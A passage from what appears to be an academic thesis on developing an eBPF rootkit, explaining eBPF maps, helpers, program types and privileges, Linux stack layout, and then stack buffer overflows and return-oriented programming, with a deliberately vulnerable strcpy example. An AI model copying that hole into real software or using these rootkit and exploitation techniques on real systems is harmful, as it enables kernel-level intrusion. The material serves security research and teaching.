sible path, observing at each instruction the state of every register and of the stack.

2.2.4. eBPF maps

An eBPF map is a generic storage for eBPF programs used to share data between user
and kernel space, to maintain persistent data between eBPF calls and to share information
between multiple eBPF programs [45].

A map consists of a key + value tuple. Both fields can have an arbitrary data type,
the map only needs to know the length of the key and the value field at its creation [46].
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Programs can open maps by specifying their ID, and lookup or delete elements in the map
by specifying its key, also insert new ones by supplying the element value and they key to
store it with.

Therefore, creating a map requires a struct with the fields shown in Table 2.5.

FIELD VALUE
type Type of eBPF map. Described in Table 2.6

key_size Size of the data structure to use as a key
value_size Size of the data structure to use as value field

max_entries Maximum number of elements in the map

Table 2.5. Common fields for creating an eBPF map.

Table 2.6 describes the main types of eBPF maps that are available for use. During
the development of our rootkit, we will mainly focus on hash maps (BPF_MAP_TYPE_
HASH), provided that they are simple to use and we do not require of any special storage
for our research purposes.

TYPE DESCRIPTION
BPF_MAP_TYPE_HASH A hast table-like storage, elements are

stored in tuples.
BPF_MAP_TYPE_ARRAY Elements are stored in an array.

BPF_MAP_TYPE_RINGBUF Map providing alerts from kernel to user
space, covered in Section 2.2.5

BPF_MAP_TYPE_PROG_ARRAY Stores descriptors of eBPF programs

Table 2.6. Relevant types of eBPF maps. Full list can be consulted in the
man page [46]

2.2.5. The eBPF ring buffer

eBPF ring buffers are a special kind of eBPF maps, providing a one-way directional com-
munication system, going from an eBPF program in the kernel to a user space program
that subscribes to its events.

2.2.6. The bpf() syscall

The bpf() syscall is used to issue commands from user space to kernel space in eBPF
programs. This syscall is multiplexor, meaning that it can perform a great range of actions,
changing its behaviour depending on the parameters.

The main operations that can be issued are described in Table 2.7:
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COMMAND ATTRIBUTES DESCRIPTION
BPF_MAP_CREATE Struct with map info as

defined in Table 2.5
Create a new map

BPF_MAP_LOOKUP_ELEM Map ID, and struct
with key to search in

the map

Get the element on the
map with a specific key

BPF_MAP_UPDATE_ELEM Map ID, and struct
with key and new value

Update the element of
an specific key with a

new value
BPF_MAP_DELETE_ELEM Map ID and struct with

key to search in the
map

Delete the element on
the map with an

specific key
BPF_PROG_LOAD Struct describing the

type of eBPF program
to load

Load an eBPF program
in the kernel

Table 2.7. Relevant types of syscall actions. Full list and attribute details
can be consulted in the man page [46]

With respect to the program type indicated with BPF_PROG_LOAD, this parameter
indicates the type of eBPF program, setting the context in the kernel in which it will
run, and to which modules it will have access to. The types of programs relevant for our
research are described in Table 2.8.

In Section 2.3, we will proceed to analyse in detail the different program types and
what capabilities they offer.

2.2.7. eBPF helpers

Our last component to cover of the eBPF architecture are the eBPF helpers. Since eBPF
programs have limited accessibility to kernel functions (which kernel modules commonly
have free access to), the eBPF system offers a set of limited functions called helpers
[47], which are used by eBPF programs to perform certain actions and interact with the
context on which they are run. The list of helpers a program can call varies between eBPF
program types, since different programs run in different contexts.

It is important to highlight that, just like commands issued via the bpf() syscall can
only be issued from the user space, eBPF helpers correspond to the kernel-side of eBPF
program exclusively. Note that we will also find a symmetric correspondence to those
functions of the bpf() syscall related to map operations (since these are accessible both
from user and kernel space).

Table 2.9 lists the most relevant general-purpose eBPF helpers we will use during the
development of our project. We will later detail those helpers exclusive to an specific
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PROGRAM TYPE DESCRIPTION
BPF_PROG_TYPE_KPROBE Program to instrument code

to an attached kprobe
BPF_PROG_TYPE_UPROBE Program to instrument code

to an attached uprobe
BPF_PROG_TYPE_TRACEPOINT Program to instrument code

to a syscall tracepoint
BPF_PROG_TYPE_XDP Program to filter, redirect and

monitor network events from
the Xpress Data Path

BPF_PROG_TYPE_SCHED_CLS Program to filter, redirect and
monitor events using the
Traffic Control classifier

Table 2.8. Relevant types of eBPF programs. Full list and attribute
details can be consulted in the man page [46].

eBPF program type in the sections on which they are studied.

2.3. eBPF program types

In the previous subsection 2.2.6 we introduced the new types of eBPF programs that are
supported and that we will be developing for our offensive analysis. In this section, we
will analyse in greater detail how eBPF is integrated in the Linux kernel in order to support
these new functionalities.

2.3.1. XDP

Express Data Path (XDP) programs are a novel type of eBPF program that allows for the
lowest-latency traffic filtering and monitoring in the whole Linux kernel. In order to load
an XDP program, a bpf() syscall with the command BPF_PROG_LOAD and the program
type BPF_PROG_TYPE_XDP must be issued.

These programs are directly attached to the Network Interface Controller (NIC) driver,
and thus they can process the packet before any other module [48].

Figure 2.8 shows how XDP is integrated in the network processing of the Linux kernel.
After receiving a raw packet (in the figure, xdp_md, which consists on the raw bytes plus
some very basic metadata about the packet) from the incoming traffic, XDP program can
perform the following actions [49]:

• Analyse the data between the packet buffer bounds.
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eBPF HELPER DESCRIPTION
bpf_map_lookup_elem() Query an element with a certain key in a map
bpf_map_delete_elem() Delete an element with a certain key in a map
bpf_map_update_elem() Update the value of the element with a certain

key in a map
bpf_probe_read_user() Attempt to safely read data at an specific user

address into a buffer
bpf_probe_read_kernel() Attempt to safely read data at an specific kernel

address into a buffer
bpf_trace_printk() Similarly to printk() in kernel modules, writes

buffer in syskerneldebugtracingtrace_pipe
bpf_get_current_pid_tgid() Get the process’ Process Id (PID) and thread

group id (TGID)
bpf_get_current_comm() Get the name of the executable
bpf_probe_write_user() Attempt to write data at a user memory address
bpf_override_return() Override return value of a probed function
bpf_ringbuf_submit() Submit data to an specific eBPF ring buffer,

and notify to subscribers
bpf_tail_call() Jump to another eBPF program preserving the

current stack

Table 2.9. Relevant common eBPF helpers. Helpers exclusive to an
specific program type are not listed. Full list and attribute details can be

consulted in the man page [47].
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• Modify the packet contents, and modify the packet length.

• Decide between one of the actions displayed in Table 2.10.

Fig. 2.8. XDP and TC modules integration in the network processing module of the Linux kernel.

ACTION DESCRIPTION
XDP_PASS Let packet proceed with operated modifications on it.
XDP_TX Return the packet at the same NIC it was received from.

Packet modifications are kept.
XDP_DROP Drops the packet completely, kernel networking will not be

notified.

Table 2.10. Relevant XDP return values.

Some of the XDP-exclusive eBPF helpers we will be discussing in later sections are
shown in Table 2.11.

2.3.2. Traffic Control

Traffic Control (TC) programs are also indicated for networking instrumentation. Simi-
larly to XDP, their module is positioned before entering the overall network processing of
the kernel. However, as it can be observed in Figure 2.8, they differ in some aspects:
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eBPF HELPER DESCRIPTION
bpf_xdp_adjust_head() Enlarges or reduces the extension of a packet,

by moving the address of its first byte.
bpf_xdp_adjust_tail() Enlarges or reduces the extension of a packet,

by moving the address of its last byte.

Table 2.11. Relevant XDP-exclusive eBPF helpers.

• TC programs receive a network buffer with metadata (in the figure, sk_buff ) about
the packet in it. This renders TC programs less ideal than XDP for performing
large packet modifications (like new headers), but at the same time the additional
metadata fields make it easier to locate and modify specific packet fields [50].

• TC programs can be attached to the ingress or egress points, meaning that an eBPF
program can operate not only over incoming traffic, but also over the outgoing pack-
ets.

With respect to how TC programs operate, the Traffic Control system in Linux is
greatly complex and would require a complete section by itself. In fact, it was already
a complete system before the appearance of eBPF. Full documentation can be found at
[51]. For this document, we will explain the overall process needed to load a TC program
[52]:

1. The TC program defines a so-called queuing discipline (qdisc), a packet scheduler
that issues packets in a First-In-First-Out (FIFO) order as soon as they are received.
This qdisc will be attached to a specific network interface (e.g.: wlan0).

2. Our TC eBPF program is attached to the qdisc. It will work as a filter, being run for
every of the packets dispatched by the qdisc.

Similarly to XDP, the TC eBPF programs can decide an action to be executed on a
packet by specifying a return value. These actions are almost analogous to the ones in
XDP, as it can be observed in Table 2.12.

ACTION DESCRIPTION
TC_ACT_OK Let packet proceed with operated modifications on it.

TC_ACT_RECLASSIFY Return the packet to the back of the qdisc scheduling
queue.

TC_ACT_SHOT Drops the packet completely, kernel networking will
not be notified.

Table 2.12. Relevant TC return values. Full list can be consulted at [53].

Finally, as in XDP, there exists a list of useful BPF helpers that will be relevant for the
creation of our rootkit. They are shown in Table 2.13.
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eBPF HELPER DESCRIPTION
bpf_l3_csum_replace() Recomputes the network layer 3 (e.g.: IP) checksum

of the packet.
bpf_l4_csum_replace() Recomputes the network layer 4 (e.g.: TCP)

checksum of the packet.
bpf_skb_store_bytes() Write a data buffer into the packet.
bpf_skb_pull_data() Reads a sequence of packet bytes into a buffer.

bpf_skb_change_head() (Only) enlarges the extension of a packet, by moving
the address of its first byte.

bpf_skb_change_tail() Enlarges or reduces the extension of a packet, by
moving the address of its last byte.

Table 2.13. Relevant TC-exclusive eBPF helpers.

2.3.3. Tracepoints

Tracepoints are a technology in the Linux kernel that allows to hook functions in the
kernel, connecting a ’probe’: a function that is executed every time the hooked function
is called [54]. These tracepoints are set statically during kernel development, meaning
that for a function to be hooked, it needs to have been previously marked with a trace-
point statement indicating its traceability. At the same time, this limits the number of
tracepoints available.

The list of tracepoint events available depends on the kernel version and can be visited
under the directory /sys/kernel/debug/tracing/events.

It is particularly relevant for our later research that most of the system calls incorporate
a tracepoint, both when they are called (enter tracepoint) and when they are exited (exit
tracepoints). This means that, for a system call sys_open, both the tracepoint sys_enter_
open and sys_exit_open are available.

Also, note that the probe functions that are called when hitting a tracepoint receive
some parameters related to the context on which the tracepoint is located. In the case
of syscalls, these include the parameters with which the syscall was called (only for en-
ter syscalls, exit ones will only have access to the return value). The exact parameters
and their format which a probe function receives can be visited in the file /sys/kernel/de-
bug/tracing/events/<subsystem>/<tracepoint>/format. In the previous example with sys_
enter_open, this is /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format.

In eBPF, a program can issue a bpf() syscall with the command BPF_PROG_LOAD
and the program type BPF_PROG_TYPE_TRACEPOINT, specifying which is the func-
tion with the tracepoint to attach to and an arbitrary function probe to call when it is hit.
This function probe is defined by the user in the eBPF program submitted to the kernel.
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2.3.4. Kprobes

Kprobes are another tracing technology of the Linux kernel whose functionality has been
become available to eBPF programs. Similarly to tracepoints, kprobes enable to hook
functions in the kernel, with the only difference that it is dynamically attached to any
arbitrary function, rather than to a set of predefined positions [55]. It does not require
that kernel developers specifically mark a function to be probed, but rather kprobes can
be attached to any instruction, with a short list of blacklisted exceptions.

As it happened with tracepoints, the probe functions have access to the parameters
of the original hooked function. Also, the kernel maintains a list of kernel symbols (ad-
dresses) which are relevant for tracing and that offer us insight into which functions we
can probe. It can be visited under the file /proc/kallsyms, which exports symbols of kernel
functions and loaded kernel modules [56].

Also similarly, since tracepoints could be found in their enter and exit variations,
kprobes have their counterpart, named kretprobes, which call the hooked probe once a
return instruction is reached after the hooked symbol. This means that a kretprobe hooked
to a kernel function will call the probe function once it exits.

In eBPF, a program can issue a bpf() syscall with the command BPF_PROG_LOAD
and the program type BPF_PROG_TYPE_KPROBE, specifying which is the function
with the kprobe to attach to and an arbitrary function probe to call when it is hit. This
function probe is defined by the user in the eBPF program submitted to the kernel.

2.3.5. Uprobes

Uprobes is the last of the main tracing technologies which has been become accessible to
eBPF programs. They are the counterparts of Kprobes, allowing for tracing the execution
of an specific instruction in the user space, instead of in the kernel. When the execution
flow reaches a hooked instruction, a probe function is run.

For setting an uprobe on a specific instruction of a program, we need to know three
components:

• The name of the program.

• The address of the function where the instruction is contained.

• The offset at which the specific instruction is placed from the start of the function.

Similarly to kprobes, uprobes have access to the parameters received by the hooked
function. Also, the complementary uretprobes exist too, running the probe function once
the hooked function returns.

In eBPF, programs can issue a bpf() syscall with the command BPF_PROG_LOAD
and the program type BPF_PROG_TYPE_UPROBE, specifying the function with the
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uprobe to attach to and an arbitrary function probe to call when it is hit. This function
probe is also defined by the user in the eBPF program submitted to the kernel.

2.4. Developing eBPF programs

In Section 2.2, we discussed the overall architecture of the eBPF system which is now
an integral part of the Linux kernel. We also studied the process which a piece of eBPF
bytecode follows in order to be accepted in the kernel. However, for an eBPF developer,
programming bytecode and working with bpf() calls natively is not an easy task, therefore
an additional layer of abstraction was needed.

Nowadays, there exist multiple popular alternatives for writing and running eBPF
programs. We will overview which they are and proceed to analyse in further detail the
option that we will use for the development of our rootkit.

2.4.1. BCC

BPF Compiler Collection (BCC) is one of the first and well-known toolkits for eBPF
programming available [57]. It allows to include eBPF code into user programs. These
programs are developed in Python, and the eBPF code is embedded as a plain string.

Although BCC offers a wide range of tools to easy the development of eBPF programs,
we found it not to be the most appropriate for our large-scale eBPF project. In particular,
this was due to the feature of eBPF programs being stored as a python string, which leads
to difficult scalability, poor development experience given that programming errors are
detected at runtime (once the python program issues the compilation of the string), and
simply better features from competing libraries.

2.4.2. Bpftool

Bpftool is not a development framework like BCC, but one of the most relevant tools for
eBPF program development. Some of its functionalities include:

• Loading eBPF programs.

• List running eBPF programs.

• Dumping bytecode from live eBPF programs.

• Extract program statistics and data from programs.

• List and operate over eBPF maps.
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Although we will not be covering bpftool during our overview on the constructed
eBPF rootkit, it was used extensively during the development and became a key tool for
debugging eBPF programs, particularly to peek data at eBPF maps during runtime.

2.4.3. Libbpf

Libbpf [16] is a library for loading and interacting with eBPF programs, which is currently
maintained in the Linux kernel source tree [58]. It is one of the most popular frameworks
to develop eBPF applications, both because it makes eBPF programming similar to com-
mon kernel development and because it aims at reducing kernel-version dependencies,
thus increasing programs portability between systems [59]. During our research, how-
ever, we will not make use of this functionalities given that a portable program is not in
our research goals.

As we discussed in Section 2.2, eBPF programs are composed of both the eBPF code
in the kernel and a user space program that can interact with it. With libbpf, the eBPF
kernel program is developed in C (a real program, not a string later compiled as with
BCC), while user programs are usually developed in C, Rust or GO. For our project, we
will use the C version of libbpf, so both the user and kernel side of our rootkit will be
developed in this language.

When using libbpf with the C language, both the user-side and kernel eBPF program
are compiled together using the Clang/LLVM compiler, translating C instructions into
eBPF bytecode. As a clarification, Clang is the front-end of the compiler, translating C
instructions into an intermediate form understandable by LLVM, whilst LLVM is the back
end compiling the intermediate code into eBPF bytecode. As it can be observed in Figure
2.9, the result of the compilation is a single program, comprising the user-side which will
launch a user process, the eBPF bytecode to be run in the kernel, and other structures
libbpf generates about eBPF maps and other meta data. This program is encapsulated as
an ELF file (a common executable format).

Finally, we will overview one of the main functionalities of libbpf to simplify eBPF
programming, namely the BPF skeleton. This is auto-generated code by libbpf whose aim
is to simplify working with eBPF from the user-side program. As a summary, it parses
the eBPF programs developed (which may be using different technologies such as XDP,
kprobes, TC...) and the eBPF maps used, and as a result offers a simple set of functions
for dealing with these programs from the user program. In particular, it allows for loading
and unloading a specific eBPF program from user space at runtime.

Table 2.14 describes the API offered by the BPF skeleton. Note that <name> is sub-
stituted by the name of the program being compiled.

Note that the BPF skeleton also offers further granularity at the time of dealing with
programs, so that individual programs can be loaded or attached instead of all simultane-
ously. This is the approach we will generally use in the development of our rootkit, as it

31



CHAPTER 2 2.4. DEVELOPING EBPF PROGRAMS

Fig. 2.9. Compilation and loading process of a program developed with libbpf.

FUNCTION NAME DESCRIPTION
<name>__open() Parse the eBPF programs and maps.
<name>__load() Load the eBPF map in the kernel after its validation,

create the maps. However, the programs are not
active yet.

<name>__attach() Activate the eBPF programs, attaching them to their
corresponding parts in the kernel (e.g. kprobes to

kernel functions).
<name>__destroy() Detach and unload the eBPF programs from the

kernel.

Table 2.14. BPF skeleton functions.
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will be explained in Section 4.7.2.

2.5. Security features in eBPF

As we have shown in Section 2.2, eBPF has been an active part of the Linux kernel from
its 3.18 version. However, as with many other components of the kernel, its availability to
the user depends on the parameters with which the kernel has been compiled. Specifically,
eBPF is only available to kernels compiled with the flags specified in Table 2.15.

FLAG VALUE DESCRIPTION
CONFIG_BPF y

Basic BPF compilation (mandatory)
CONFIG_BPF_SYSCALL m
CONFIG_NET_ACT_BPF m

Traffic Control functionality
CONFIG_NET_CLS_BPF y

CONFIG_BPF_JIT y
Enable JIT compliation

CONFIG_HAVE_BPF_JIT y
CONFIG_BPF_EVENTS y

Enable kprobes, uprobes and tracepoints
CONFIG_KPROBE_EVENTS y
CONFIG_UPROBE_EVENTS y

CONFIG_TRACING y
CONFIG_XDP_SOCKETS y Enable XDP

Table 2.15. Kernel compilation flags for eBPF.

Table 2.15 is based on BCC’s documentation, but the full list of eBPF-related flags
can be extracted in a live system via bpftool, as detailed in Appendix A - eBPF-related
kernel compilation flags. Nowadays, all mainstream Linux distributions include kernels
with full support for eBPF.

2.5.1. Access control

It must be noted that, similarly to kernel modules, loading an eBPF program requires
privileged access in the system. In old kernel versions, this means either a user having
full root permissions, or having the Linux capability [60] CAP_SYS_ADMIN. Therefore,
there existed two main options:

• Privileged users can load any kind of eBPF program and use any functionality.

• Unprivileged users can only load and attach eBPF programs of type BPF_PROG_
TYPE_SOCKET_FILTER [61], offering the very limited functionality of filtering
packets received on a socket.
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More recently, in an effort to further granulate the permissions needed for loading,
attaching and running eBPF programs, CAP_SYS_ADMIN has been substituted by more
specific capabilities [62] [63]. The current system is therefore described in Table 2.16.

CAPABILITIES eBPF FUNCTIONALITY
No capabilities Load and attach BPF_PROG_TYPE_SOCKET_FILTER,

load BPF_PROG_TYPE_CGROUP_SKB programs.
CAP_BPF Load (but not attach) any type of program, create most

types of eBPF map and access them if their id is known
CAP_NET_ADMIN Attach networking programs (Traffic Control, XDP, ...)

CAP_PERFMON Attaching kprobes, uprobes and tracepoints. Read access
to kernel memory.

CAP_SYS_ADMIN Privileged eBPF. Includes iterating over eBPF maps, and
CAP_BPF, CAP_NET_ADMIN, CAP_PERFMON

functionalities.

Table 2.16. Capabilities needed for eBPF.

Therefore, eBPF network programs usually require both CAP_BPF and CAP_NET_
ADMIN, whilst tracing programs require CAP_BPF and CAP_PERFMON. CAP_SYS_
ADMIN remains as the (non-preferred) capability to assign to eBPF programs with com-
plete access in the system.

Although for a long time there have existed efforts towards enhancing unprivileged
eBPF, it remains a worrying feature [64]. The main issue is that the verifier must be pre-
pared to detect any attempt to extract kernel memory access or user memory modification
by unprivileged eBPF programs, which is a complex task. In fact, there have existed nu-
merous security vulnerabilities which allow for privilege escalation using eBPF, that is,
execution of privileged eBPF programs by exploiting vulnerabilities in unprivileged eBPF
[65].

This influx of security vulnerabilities leads to the recent inclusion of an attribute into
the kernel which allows for setting whether unprivileged eBPF is allowed in the system
or not. This parameter is named kernel.unprivileged_bpf_disabled, its values can be seen
in Table 2.17.

Value Meaning
0 Unprivileged eBPF is enabled.
1 Unprivileged eBPF is disabled. A system reboot is needed

to enable it after changing this value.
2 Unprivileged eBPF is disabled. A system reboot is not

needed to enable it after changing this value.

Table 2.17. Values for unprivileged eBPF kernel parameter.
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Nowadays, most Linux distributions have set value 1 to this parameter, therefore dis-
allowing unprivileged eBPF completely. These include Ubuntu [66], Suse Linux [67] or
Red Hat Linux [68], between others.

2.6. Memory management in Linux

Multiple of the techniques incorporated in our rootkit require a deep understanding into
how memory is managed in a Linux process. Therefore, in this section we will present
all the background about memory management needed for our later discussion of the
offensive capabilities of eBPF in this context.

2.6.1. Memory pages and faults

Linux systems divide the available random-access memory (RAM) into ’pages’, subsec-
tions of an specific length, usually 4 KB. The collection of all pages is called physical
memory.

Likewise, individual memory sections need to be assigned to each running process in
the system, but instead of assigning a set of pages from physical memory, a new address
space is defined, named virtual memory, which is divided into pages as well. These virtual
memory pages are related to physical memory pages via a page table, so that each virtual
memory address of a process can be translated into a real, physical memory address in
RAM [69]. Figure 2.10 shows a diagram of the described architecture.

Fig. 2.10. Memory translation of virtual pages to physical pages.
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As we can observe in the figure, each virtual page is related to one physical page.
However, RAM needs to maintain multiple processes and data simultaneously, and there-
fore sometimes the operating system (OS) will remove them from physical memory when
it believes they are no longer being used. This leads to the occurrence of two type of
memory events [70]:

• Major page faults occur when a process tries to access a virtual page, but the
related physical page has been removed from RAM. In this case, the OS will need to
request a secondary storage (such as a hard disk) for the data removed and allocate
a new physical page for the virtual page. Figure 2.11 illustrates a major page fault.

Fig. 2.11. Major page fault after a page was removed from RAM.

• Minor page faults occur when a process tries to access a virtual page, and although
the related physical page exists, the connection in the page table has not been com-
pleted. A common event when these fault happen is on fork() calls, since with the
purpose of making the call more efficient, the page table of the parent is not always
completely copied into the child, leading into multiple minor page faults once the
child tries to access the data on them. Figure 2.12 illustrates a minor page fault after
a fork.

2.6.2. Process virtual memory

In the previous subsection we have studied that each process disposes of a virtual address
space. We will now describe how this virtual memory is organized in a Linux system.

Figure 2.13 describes how virtual memory is distributed within a process in the x86_
64 architecture. As we can observe, it is partitioned into multiple sections:
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Fig. 2.12. Minor page fault after a fork() in which the page table was not copied completely.

Fig. 2.13. Virtual memory architecture of a process [71].
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• Lower and upper memory addresses are reserved for the kernel.

• A section where shared libraries code is stored.

• A .text section, which contains the code of the program being run.

• A .data section, containing initialized static and global variables.

• A .bss section, which contains global and static variables which are uninitialized or
initialized to zero.

• The heap, a section which grows from lower to higher memory addresses, and
which contains memory dynamically allocated by the program.

• The stack, a section which grows from higher to lower memory addresses, towards
the heap. It is a Last In First Out (LIFO) structure used to store local variables,
function parameters and return addresses.

• Right at the start of the stack we can find the arguments with which the programs
has been executed.

2.6.3. The process stack

Among all the sections we identified in a process virtual memory, the stack will be par-
ticularly relevant during our research. We will therefore study it now in detail.

Firstly, we will present how the stack is structured, and which operations can be ex-
ecuted on it. Figure 2.14 presents a stack during the execution of a program. Table 2.18
explains the purpose of the most relevant registers related to the stack and program exe-
cution:

Fig. 2.14. Simplified stack representation showing only stack frames.

As it can be observed in Figure 2.14, the stack grows towards lower memory ad-
dresses, and it is organized in stack frames, delimited by the registers rsp and rbp. An
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REGISTER PURPOSE
rip Instruction Pointer - Memory address of the next

instruction to execute
rsp Stack Pointer - Memory address where next stack

operation takes place
rbp Base/Frame Pointer - Memory address of the start of the

stack frame

Table 2.18. Relevant registers in x86_64 for the stack and control flow
and their purpose.

stack frame is a division of the stack which contains all the data (variables, call argu-
ments...) belonging to a single function execution. When a function is exited, its stack
frame is removed, and if a function calls a nested function, then its stack frame is pre-
served and a new stack frame is inserted into the stack.

As Table 2.18 explains, the rbp and rsp registers are used for keeping track of the
starting and final position of the current stack frame respectively. We can see in Figure
2.14 that their value is a memory address pointing to their stack positions. On the other
hand, the rip register does not point to the stack, but rather to the .text section (see Figure
2.13), where it points to the next instruction to be executed. However, as we will now see,
its value must also be stored in the stack frame when a nested function is called, since
after the nested function exits we need to restore the execution in the same instruction of
the original function.

As with any LIFO structure, the stack supports two main operations: push and pop.
In the x86_64 architecture, it operates with chunks of data of either 16, 32 or 64 bytes.
Table 2.15 shows a representation of these operations in the stack.

• A push operation writes data in the free memory pointed by register rsp. It then
moves the value of rsp to point to the new end of the stack.

• A pop operation moves the value of rsp by 16, 32 or 64 bytes, and reads the data
previously saved in that position.

As we mentioned, the stack stores function parameters, return addresses and local
variables inside a stack frame. We will now study how the processor uses the stack in
order to call, execute, and exit a function. To illustrate this process, we will simulate the
execution of function func(char* a, char* b, char* c) . Figures 2.16 and 2.17 show a
representation of the stack during these operations.

1. The function arguments are pushed into the stack. We can see them in the stack of
Figure 2.17 in reverse order.

2. The function is called:
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Fig. 2.15. Representation of push and pop operations in the stack.

Fig. 2.16. Stack representation right before starting the function call process.

40



CHAPTER 2 2.6. MEMORY MANAGEMENT IN LINUX

Fig. 2.17. Stack representation right after the function preamble.

(a) The value of register rip is pushed into the stack, so that it is saved for when
the function exists. We can see it on Figure 2.17 as ’ret’.

(b) The value of rip changes to point to the first instruction of the called function.

(c) We execute what is called as the function preamble [72], which prepares the
stack frame for the called function:

i. The value of rbp is pushed into the stack, so that we can restore the pre-
vious stack frame when the function exits. We can see it on Figure 2.17
as the ’saved frame pointer’.

ii. The value of rsp is moved into rbp. Therefore, now rbp points to the end
of the previous stack frame.

iii. The value of rsp is usually decremented (since the stack needs to go to
lower memory addresses) so that we allocate some space for function
variables.

3. The function instructions are executed. The stack may be further modified, but on
its end rsp must point to the same address of the beginning. Register rbp always
keeps pointing to the end of the stack.

4. We execute what is called the function epilogue, which removes the stack frame
and restores the original function:

(a) The value of rbp is moved into rsp, so that rsp points to the start of the previous
stack frame. All data allocated in the previous stack frame is considered to be
free.

(b) The value of the saved frame pointer is popped and stored into rbp, so that rbp
now points to the start of the previous stack frame.
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(c) The value of the saved rip value is popped into register rip, so that the next
instruction to execute is the instruction right after the function call.

5. Since the function arguments where pushed into the stack, they are popped now.

2.7. Attacks at the stack

In Section 2.6.3, we studied how the stack works and which is the process that a program
follows in order to call a function. As we saw in Figure 2.17, the processor pushes into
the stack several data which is used to restore the context of the original function once the
called function exits. These pushed arguments included:

• The arguments with which the function is being called (if they need to be passed in
the stack, such as byte arrays).

• The original value of the rip register (ret), to restore the execution on the original
function.

• The original value of the rbp register (sfp), to restore the frame pointer of the origi-
nal stack frame.

Although this process is simple enough, it opens the possibility for an attacker to
easily hijack the flow of execution if it can modify the value of ret, as it is shown in figure
2.18.

In the Figure, we can observe how, during the execution of the called function, the
attacker overwrites the value of ret in the stack. Once the function exists, as we explained
in Section 2.6.3, during the function epilogue the value of ret will be popped and moved
into rip, so that the execution is directed to the original next instruction. However, because
the value was modified, the attacker controls which instructions are executed next.

Attackers have historically used multiple techniques to overwrite the ret value in the
stack. In this section, we will present two of the most popular techniques, which will be
used as a basis for designing our own attacks using eBPF.

2.7.1. Buffer overflow

The stack buffer overflow is one of the most popular exploitation techniques to overwrite
data at the stack. In this technique, an attacker takes advantage of a program receiving a
user value stored in a buffer whose capacity is smaller of that of the supplied value. Code
Snippet 2.1 shows an example of a vulnerable program:

CODE 2.1. Program vulnerable to buffer overflow.

1 void foo(char *bar){ // bar may be larger than 12 characters
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Fig. 2.18. Execution hijack overwriting saved rip value.
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2 char buffer[12];

3 strcpy(buffer, bar); //no bounds checking

4 }

5

6 int main(int argc, char *argv[]){

7 foo(argv[1]);

8 return 0;

9 }

During the execution of the above program, since the char array buffer is a buffer of
length 12 stored in the stack, then if the value of bar is larger than 12 bytes it will overflow
the allocated space in the stack. This is usually the case of using unsafe functions for
processing user input such as strcpy(), which do not check whether the array fits in the
buffer. Figure 2.19 shows how the overflow happens in the stack.

Fig. 2.19. Stack buffer overflow overwriting ret value.

As we can observe in the figure, the new data written into the buffer has also over-
written other fields which were pushed into the stack, such as sfp and ret, resulting in
changing the flow of execution once the function exists.

Usually, an attacker exploiting a program vulnerable to stack buffer overflow is in-
terested in running arbitrary (malicious) code. For this, the attacker follows the process
shown in Figure 2.20:

As we can observe in the figure, the attacker will take advantage of the buffer overflow
to overwrite not only ret, but also the rest of the current stack frame and sfp with mali-
cious code. This code is known as shellcode, consisting of instruction opcodes (machine
assembly instructions translated to their representation in hexadecimal values) which the
processor will execute. We will explain how to write shellcode in Section 4.2.3. There-
fore, in this technique the attacker will:

• Introduce a byte array that overflows the buffer, consisting on SHELLCODE + the
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Fig. 2.20. Executing arbitrary code exploiting a buffer overflow vulnerability.

address of the buffer.

– The shellcode overwrites the buffer and all data until ret.

– ret is overwritten by the value of the address where the buffer starts.

• When the function exits and ret is popped from the stack, the register rip will now
point to the address of the buffer at the stack, processing the stack data as instruc-
tions part of a program. The malicious code will be executed.

Although the classic buffer overflow is one of the best-known techniques in binary
exploitation, it is also one of the oldest and thus numerous protections have historically
been incorporated to mitigate this type of exploits. This is why the attack presented here
does not work work in a modern system anymore.

The reason is that one of the protections consists of the prohibition of executing code
from the stack. By marking the stack as non-executable, in the case of rip pointing to
an address in the stack any malicious code will not be run, even if an application was
vulnerable to a buffer overflow. We will explain more in detail the main protections that
nowadays are incorporated in modern systems in Section 2.9.2.

2.7.2. Return oriented programming attacks

After the stack was marked non-executable, a new refined technique was invented to cir-
cumvent this restriction and adapt the classic buffer overflow to modern systems. In the
end, attackers still maintained the ability to overflow the buffer in the stack of vulnerable
applications, writing shellcode and overwriting ret, the only issue was that the shellcode
could not be executed.
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Return Oriented Programming (ROP) is an exploitation technique that takes advantage
of the fact that, even if malicious code in the stack cannot be executed, the attacker can
still redirect the flow of execution by modifying ret to any other piece of executable code.
The challenge for the attacker is executing malicious code, since any available executable
instructions are either at the .text section (which will correspond to the normal functioning
of the program) or at shared libraries, but none are useful for malware.

ROP tackles this challenge by designing a method of reconstructing malicious code
from parts of already-existing code, as in a ’collage’. Assembly instructions are selected
from multiple places, so that, when put together and executed sequentially, they recreate
the shellcode which the attacker wants to execute. These pieces of code are called ROP
gadgets, and consist of a set of arbitrary instructions followed by a final ret instruction,
which triggers the function exit and pops the value of ret. These gadgets may belong to
any code in the process memory, usually selected between the code of the shared libraries
(see Figure 2.17) to which the process is linked.

Finding ROP gadgets and writing ROP-compatible payloads manually is hard, thus
multiple programs exist that automatically scan the system libraries and construct provide
the gadgets given the shellcode to execute [73].

However, we will now illustrate how ROP works with an example. Suppose that an
attacker has discovered a buffer overflow vulnerability, but the stack is marked as not
executable. The attacker wants to execute the assembly code shown in Code Snippet 2.2:

CODE 2.2. Sample program to run using ROP.

1 mov rdx, 10

2 mov rax, [rsp]

After finding the address of the ROP gadgets manually or using an automated tool, the
attacker takes advantage of a buffer overflow (or, in our case, a direct write using eBPF’s
bpf_probe_write_user()) to overwrite the value of ret with the address of the first ROP
gadget, and also additional data in the stack. Figure 2.21 shows how we can execute the
original program using ROP:

The steps described in the figure are the following:

1. First step shows the two gadgets located and their addresses, and the overwritten
data in the stack. The function has already exited and, because ret was overwritten
with the address of the first gadget, register rip now points to that location, and thus
it is the next instruction to execute. Register rsp, in turn, now points to the bottom
address of the current stack frame, which is right next to the old ret (see Section
2.6.3 for stack frames functioning).

2. The first instruction of the gadget is executed, popping the value from the stack
(which also moves register rsp, see stack push and pop operations in Section 2.6.3).
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Fig. 2.21. Steps for executing code sample using ROP.

As we can observe, the value "10" was specifically put in that position by the at-
tacker, so that, according to the instruction to execute mov rdx, 10 , we now have
loaded that data into register rdx.

3. The return instruction is executed, which pops from the stack what is supposed to
be the value of the saved rip, but in turn the attacker has placed the address of the
next gadget there. Now, rip has jumped to the address of the second gadget. By
continuing with this process, we can chain an infinite number of gadgets.

4. Finally, we repeated the same process as before, using a pop instruction to load
a value from the stack. This illustrates that push and pop instructions, commonly
used on most programs, are also possible to be using ROP.

After this step, the return instruction will be executed. Note that, at this point, if the
